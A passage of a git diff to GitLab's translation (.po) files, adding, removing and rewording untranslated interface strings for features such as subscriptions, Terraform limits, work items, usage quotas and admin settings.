msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/fi_FI/gitlab.po b/locale/fi_FI/gitlab.po
index deb43e86198..39c6692871a 100644
--- a/locale/fi_FI/gitlab.po
+++ b/locale/fi_FI/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
